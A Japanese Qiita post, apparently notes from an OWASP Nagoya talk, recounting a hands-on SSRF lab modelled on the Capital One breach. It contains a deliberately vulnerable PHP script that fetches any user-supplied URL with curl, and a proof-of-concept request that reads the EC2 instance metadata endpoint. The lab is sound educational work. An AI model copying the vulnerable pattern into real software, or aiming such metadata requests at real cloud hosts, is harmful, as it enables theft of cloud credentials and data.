Help us understand the problem. What is going on with this article?

hands on SSRF(Server Side Request Forgery)

OWASP Nagoya

Little Deep Dive AWS Security
by 田中隆博 氏
AWS Solutions Architect
ラーメン好き

テーマ
Capital One で発生した情報漏洩事象を題材に、Server Side Request Forgeryを利用したクラウド上のメタ情報の窃取手法について

Capital Oneの漏洩事例

Slack Channel へ投稿

I’ve basically strapped myself with a bomb vest, f—ing dropping Capital One dox and admitting it. I wanna distribute those buckets …There’s SSNs..with full name and [date of birth].
Paige A. Thompson

・・・そして発覚
2005年から2019年にかけてクレジットカードの申請をした人など、1億600万人分の個人情報が不正アクセスをうけた事が判明。

Matt Forbes - 'Mad About You' が流れてきそうですね♪

Let's hands on

SSRF・・・何やら面白そう、なので実際試してみようと思います。

PoC(proof of concept)
目標はEC2のクレデンシャルを読み込んで、ブラウザへ不正に表示させます。・・・現時点でクレデンシャルが取れないので代わりにOpen SSH Public keyを取得しました。

http://ec2-0-0-0-0.us-east-2.compute.amazonaws.com/ssrf.php?url=http://169.254.169.254/latest/meta-data//public-keys/0/openssh-key

image.png

なお、PHPのcurlを悪用するコードを、サーバー側で用意したいと思います。徳丸氏のブログから参照しました。

ssrf.php

<?php
  require_once('./htmlpurifier/library/HTMLPurifier.includes.php');
  $purifier = new HTMLPurifier();

  $ch = curl_init();
  curl_setopt($ch, CURLOPT_URL, $_GET['url']);
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  $html = curl_exec($ch);
  echo $purifier->purify($html);
  1. AWS無料枠だけで構築します。こちらから申し込みます。
    AWS のプラットフォーム、製品、サービスを無料で実際に体験できます。

  2. Webサーバーはnginxとphp-fpmをインストール。
    phpinfoで動作確認します。
    image.png

  3. HTMLPurifierを利用するため、Composerをインストール、バージョンを確認します。

$ composer
   ______
  / ____/___  ____ ___  ____  ____  ________  _____
 / /   / __ \/ __ `__ \/ __ \/ __ \/ ___/ _ \/ ___/
/ /___/ /_/ / / / / / / /_/ / /_/ (__  )  __/ /
\____/\____/_/ /_/ /_/ .___/\____/____/\___/_/
                    /_/
Composer version 1.9.1 2019-11-01 17:20:17

先ほどのssrf.phpをnginxのドキュメントルートへ配置したら完成です!

確認のため以下のURLを指定してホームーページを表示したところです。

http://ec2-0-0-0-0.us-east-2.compute.amazonaws.com/ssrf.php?url=https://qualias.net

image.png

AWSの仕様として実行中のインスタンスからインスタンスメタデータが取得できることでPHP curlを使えば、SSRFができることも、何となく分かりました。今日のところは時間切れです。

時間があれば一時的セキュリティ認証情報の使用も試したい。

更に技術的な方法論については、こちらに記載されています。
Riyaz Walikar / An SSRF, privileged AWS keys and the Capital One breach
Ravi Ivaturi / Capital One Security Incident & Key Lessons, so far anyway.

Why not register and get more from Qiita?
  1. We will deliver articles that match you
    By following users and tags, you can catch up information on technical fields that you are interested in as a whole
  2. you can read useful information later efficiently
    By "stocking" the articles you like, you can search right away
Comments
Sign up for free and join this conversation.
If you already have a Qiita account
Why do not you register as a user and use Qiita more conveniently?
You need to log in to use this function. Qiita can be used more conveniently after logging in.
You seem to be reading articles frequently this month. Qiita can be used more conveniently after logging in.
  1. We will deliver articles that match you
    By following users and tags, you can catch up information on technical fields that you are interested in as a whole
  2. you can read useful information later efficiently
    By "stocking" the articles you like, you can search right away